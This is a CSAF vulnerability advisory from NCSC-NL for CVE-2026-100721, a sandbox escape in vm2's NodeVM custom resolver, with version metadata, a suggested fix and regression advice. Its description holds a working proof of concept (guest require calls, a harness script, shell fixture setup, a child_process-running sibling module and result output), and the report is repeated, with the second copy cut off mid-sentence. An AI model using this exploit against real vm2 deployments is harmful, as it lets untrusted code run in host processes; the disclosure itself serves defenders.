{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-100721", "tracking": { "current_release_date": "2026-10-21T08:47:24.407249Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-100721", "initial_release_date": "2026-09-27T02:25:19.868577Z", "revision_history": [ { "date": "2026-09-27T02:25:19.868577Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-09-27T02:25:21.915390Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-09-27T12:16:24.575520Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (37).| References created (7).| CWES updated (1)." }, { "date": "2026-09-27T12:16:29.778438Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-09-27T15:15:12.260980Z", "number": "5", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-27T15:16:24.292750Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-09-28T11:32:10.826574Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Products created (1).| References created (6)." }, { "date": "2026-09-28T11:32:14.819920Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-09-28T12:42:02.897112Z", "number": "9", "summary": "CVSS created.| CWES created (1).| Products created (2).| References created (5).| Description created for source.| Unknown change." }, { "date": "2026-09-28T12:42:05.567534Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-09-28T17:38:46.561041Z", "number": "11", "summary": "Unknown change." }, { "date": "2026-09-29T16:13:24.807723Z", "number": "12", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-29T16:13:29.863481Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-10-05T23:40:00.921650Z", "number": "14", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (9).| CWES updated (1)." }, { "date": "2026-10-05T23:40:04.018223Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-10-11T07:27:35.427750Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-10-21T08:46:54.716593Z", "number": "17", "summary": "Products removed (4)." }, { "date": "2026-10-21T08:47:04.877056Z", "number": "18", "summary": "NCSC Score updated." } ], "status": "interim", "version": "18" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.12.2", "product": { "name": "vers:unknown/<3.12.2", "product_id": "CSAFPID-9477908" } } ], "category": "product_name", "name": "vm2" } ], "category": "vendor", "name": "Open Source" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:semver/3.12.2", "product": { "name": "vers:semver/3.12.2", "product_id": "CSAFPID-9478885" } }, { "category": "product_version_range", "name": "vers:semver/<3.12.2", "product": { "name": "vers:semver/<3.12.2", "product_id": "CSAFPID-9478886" } }, { "category": "product_version_range", "name": "vers:unknown/3.11.6", "product": { "name": "vers:unknown/3.11.6", "product_id": "CSAFPID-9337227" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.10", "product": { "name": "vers:unknown/3.9.10", "product_id": "CSAFPID-3466137" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.11", "product": { "name": "vers:unknown/3.9.11", "product_id": "CSAFPID-3466138" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.12", "product": { "name": "vers:unknown/3.9.12", "product_id": "CSAFPID-3466139" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.13", "product": { "name": "vers:unknown/3.9.13", "product_id": "CSAFPID-3466140" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.14", "product": { "name": "vers:unknown/3.9.14", "product_id": "CSAFPID-3466141" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.15", "product": { "name": "vers:unknown/3.9.15", "product_id": "CSAFPID-3466142" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.16", "product": { "name": "vers:unknown/3.9.16", "product_id": "CSAFPID-3466143" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.17", "product": { "name": "vers:unknown/3.9.17", "product_id": "CSAFPID-4139275" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.18", "product": { "name": "vers:unknown/3.9.18", "product_id": "CSAFPID-4139276" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.19", "product": { "name": "vers:unknown/3.9.19", "product_id": "CSAFPID-4139277" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.3", "product": { "name": "vers:unknown/3.9.3", "product_id": "CSAFPID-3466144" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.4", "product": { "name": "vers:unknown/3.9.4", "product_id": "CSAFPID-3466145" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.5", "product": { "name": "vers:unknown/3.9.5", "product_id": "CSAFPID-3466146" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.6", "product": { "name": "vers:unknown/3.9.6", "product_id": "CSAFPID-3466147" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.7", "product": { "name": "vers:unknown/3.9.7", "product_id": "CSAFPID-3466148" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.8", "product": { "name": "vers:unknown/3.9.8", "product_id": "CSAFPID-3466149" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.9", "product": { "name": "vers:unknown/3.9.9", "product_id": "CSAFPID-3466150" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.12.2", "product": { "name": "vers:unknown/>=0|<3.12.2", "product_id": "CSAFPID-9656527" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.0", "product": { "name": "vers:unknown/v3.10.0", "product_id": "CSAFPID-5467538" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.1", "product": { "name": "vers:unknown/v3.10.1", "product_id": "CSAFPID-5467539" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.2", "product": { "name": "vers:unknown/v3.10.2", "product_id": "CSAFPID-8609298" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.3", "product": { "name": "vers:unknown/v3.10.3", "product_id": "CSAFPID-8609297" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.4", "product": { "name": "vers:unknown/v3.10.4", "product_id": "CSAFPID-8609296" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.5", "product": { "name": "vers:unknown/v3.10.5", "product_id": "CSAFPID-8609295" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.0", "product": { "name": "vers:unknown/v3.11.0", "product_id": "CSAFPID-8707556" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.1", "product": { "name": "vers:unknown/v3.11.1", "product_id": "CSAFPID-8707555" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.2", "product": { "name": "vers:unknown/v3.11.2", "product_id": "CSAFPID-8707554" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.3", "product": { "name": "vers:unknown/v3.11.3", "product_id": "CSAFPID-8707553" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.4", "product": { "name": "vers:unknown/v3.11.4", "product_id": "CSAFPID-9007705" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.5", "product": { "name": "vers:unknown/v3.11.5", "product_id": "CSAFPID-9007704" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.7", "product": { "name": "vers:unknown/v3.11.7", "product_id": "CSAFPID-9344037" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.8", "product": { "name": "vers:unknown/v3.11.8", "product_id": "CSAFPID-9358171" } }, { "category": "product_version_range", "name": "vers:unknown/v3.12.0", "product": { "name": "vers:unknown/v3.12.0", "product_id": "CSAFPID-9358170" } }, { "category": "product_version_range", "name": "vers:unknown/v3.12.1", "product": { "name": "vers:unknown/v3.12.1", "product_id": "CSAFPID-9474627" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.0", "product": { "name": "vers:unknown/v3.9.0", "product_id": "CSAFPID-3466151" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.1", "product": { "name": "vers:unknown/v3.9.1", "product_id": "CSAFPID-3466152" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.2", "product": { "name": "vers:unknown/v3.9.2", "product_id": "CSAFPID-3466153" } } ], "category": "product_name", "name": "vm2" } ], "category": "vendor", "name": "patriksimek" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-100721", "cwe": { "id": "CWE-863", "name": "Incorrect Authorization" }, "notes": [ { "category": "description", "text": "vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100721" }, { "category": "description", "text": "vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. When an embedder configures `require.external` with a custom resolver (and `context: 'host'`), `LegacyResolver.customResolve` in lib/resolver-compat.js records the resolved module directory in `this.externals` as `new RegExp('^' + escapeRegExp(resolvedPath))`, without requiring a path separator or end-of-string boundary. Untrusted guest code can therefore require the allowlisted module (e.g. `foo`) and then require the absolute path of a non-allowlisted sibling whose path merely shares the resolved prefix (e.g. `.../node_modules/foo2/index.js`); the sibling passes `isPathAllowedForModule` and is loaded through `hostRequire`, so its top-level code runs in the host process before the exports are wrapped with `vm.readonly`, resulting in a sandbox escape and arbitrary code execution in the host context.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100721.json?alt=media" }, { "category": "description", "text": "## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error && (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error && (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.\n\n## Suggested Fix\n\nMake every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the `{path: resolvedPath}` result:\n\n```js\nconst externalPath = value => new RegExp(\n\t'^' + escapeRegExp(value) + '(?:[\\\\/].*)?$'\n);\n```\n\nUse `externalPath(resolved)` at the string-return branch and `externalPath(resolvedPath)` at the object-return branch. A path-aware canonical comparison shared with `isPathAllowedForModule` is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted `foo` and after `customResolve` has appended a new regex.\n\nAdd regression coverage that configures `external: {modules: ['foo'], transitive: false}`, a custom resolver returning `foo`, and `context: 'host'`; it should require `foo` and then assert that the absolute `foo2/index.js` sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving `foo`, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither `this.externals.push` branch can reintroduce the prefix authorization.\n\n## Affected Package/Versions\n\n- Package: `vm2` in the npm ecosystem.\n- Tested package version: `3.11.8`, at source revision `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Affected version range tested: `pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.\n- Patched versions: none identified by the tested evidence.\n- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.\n\n## Advisory History\n\nThe closest public match is [GHSA-7q3f-wx44-378m](https://github.com/patriksimek/vm2/security/advisories/GHSA-7q3f-wx44-378m), titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the `mod.path.startsWith(path)` logic in `isPathAllowedForModule` for a relative require from an allowlisted package. Its public fix is [commit `6ac3916da84e060c403e407b6b6318fcc66b0e72`](https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72), which adds a path-boundary check to `isPathAllowedForModule` while leaving the filename-side `this.externals` fallback unchanged. A related public resolver fix is [commit `ab4ee7d803e8c80155e9eb3672226bddbca4aa9c`](https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c), which rejects `..` traversal in allowlisted subpaths and explicitly leaves the filename-side `this.externals` matcher untouched. This finding has a separate fix surface: the current `customResolve` function appends new raw-prefix regular expressions to `this.externals` at both custom-resolver return branches, which those public fixes do not describe or patch.\n\n[GHSA-c48m-32m9-vx93](https://github.com/patriksimek/vm2/security/advisories/GHSA-c48m-32m9-vx93), “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side `externalCache` matcher and rejects `..` segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: `customResolve` appends a filename-side raw-prefix regular expression to `this.externals`, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.", "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-5h3f-q97h-ccvc.json?alt=media" }, { "category": "description", "text": "## Summary\n\nAt source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.\n\n## Technical Details\n\nThe affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.\n\nThe source-to-sink path is:\n\n- `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.\n- `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.\n- `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.\n- `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.\n- `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.\n\nThe relevant current code has the same flaw for both supported custom-resolver return shapes:\n\n```js\nif (typeof resolved === 'string') {\n\tthis.externals.push(new RegExp('^' + escapeRegExp(resolved)));\n\treturn this.loadAsFileOrDirectory(resolved, extList);\n}\nconst {module=x, path: resolvedPath} = resolved;\nthis.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));\nreturn this.loadNodeModules(module, [resolvedPath], extList);\n```\n\nThe existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.\n\n## PoV\n\nThe minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:\n\n```js\nconst foo = require('foo');\nmodule.exports = {\n\tfoo,\n\tsibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')\n};\n```\n\nThe corresponding embedder configuration is:\n\n```js\nconst vm = new NodeVM({\n\trequire: {\n\t\texternal: {modules: ['foo'], transitive: false},\n\t\troot: '/tmp/vm2-prefix-case',\n\t\tcontext: 'host',\n\t\tresolve(name) {\n\t\t\treturn name === 'foo'\n\t\t\t\t? '/tmp/vm2-prefix-case/node_modules/foo'\n\t\t\t\t: undefined;\n\t\t}\n\t}\n});\n```\n\nThe sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.\n\n## PoC\n\nFrom a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:\n\n```sh\ngit checkout 91034466bfb7f56b95fd48083ec6ca36d058f164\nnpm ci --ignore-scripts\n```\n\nSave the following harness as `/tmp/custom-resolve-prefix.js`:\n\n```js\n'use strict';\n\nconst path = require('path');\nconst { NodeVM } = require(process.cwd() + '/lib/main.js');\n\nconst [, , mode, fooIndexPath, siblingPath] = process.argv;\nconst fooDir = path.dirname(fooIndexPath);\nconst root = path.resolve(fooDir, '../..');\nconst entry = path.join(path.dirname(root), 'entry.js');\nlet customCalls = 0;\n\nfunction runGuest(code) {\n\treturn new NodeVM({\n\t\trequire: {\n\t\t\texternal: {modules: ['foo'], transitive: false},\n\t\t\troot,\n\t\t\tcontext: 'host',\n\t\t\tresolve(moduleName) {\n\t\t\t\tif (moduleName === 'foo') {\n\t\t\t\t\tcustomCalls++;\n\t\t\t\t\treturn fooDir;\n\t\t\t\t}\n\t\t\t\treturn undefined;\n\t\t\t}\n\t\t}\n\t}).run(code, entry);\n}\n\nconst record = {mode, result: 'invalid'};\n\ntry {\n\tif (mode === 'candidate') {\n\t\tconst output = runGuest(`\n\t\t\tconst foo = require('foo');\n\t\t\tmodule.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};\n\t\t`);\n\t\trecord.output = output;\n\t\tif (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';\n\t\t} else {\n\t\t\trecord.result = 'pass';\n\t\t}\n\t} else if (mode === 'control') {\n\t\ttry {\n\t\t\trunGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);\n\t\t\trecord.result = 'violation';\n\t\t\trecord.signal = 'prefix-sharing sibling loaded before custom resolution';\n\t\t} catch (error) {\n\t\t\trecord.result = 'pass';\n\t\t\trecord.denial = String(error && (error.code || error.message) || error);\n\t\t}\n\t} else {\n\t\trecord.error = 'unknown mode';\n\t}\n} catch (error) {\n\trecord.result = 'invalid';\n\trecord.error = String(error && (error.stack || error.message) || error);\n}\n\nrecord.customCalls = customCalls;\nconsole.log(JSON.stringify(record));\n```\n\nCreate the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:\n\n```sh\nmkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2\ncat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'\n'use strict';\nmodule.exports = 'FOO_OK';\nEOF\ncat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'\n'use strict';\nmodule.exports = require('child_process').execFileSync(\n\tprocess.execPath,\n\t['-e', \"process.stdout.write('PREFIX_PWN')\"]\n).toString();\nEOF\n```\n\nRun the attack and then the negative control from the repository checkout:\n\n```sh\nnode /tmp/custom-resolve-prefix.js candidate \\\n /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n /tmp/vm2-prefix-case/node_modules/foo2/index.js\nnode /tmp/custom-resolve-prefix.js control \\\n /tmp/vm2-prefix-case/node_modules/foo/index.js \\\n /tmp/vm2-prefix-case/node_modules/foo2/index.js\n```\n\nThe decisive results were:\n\n```text\n{\"mode\":\"candidate\",\"result\":\"violation\",\"output\":{\"foo\":\"FOO_OK\",\"sibling\":\"PREFIX_PWN\"},\"signal\":\"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN\",\"customCalls\":1}\n{\"mode\":\"control\",\"result\":\"pass\",\"denial\":\"ENOTFOUND\",\"customCalls\":0}\n```\n\nBoth executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.\n\n## Impact\n\nThis is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite `transitive: false`. The demonstrated sibling executes `child_process` at top level and returns a host-generated marker, showing host code 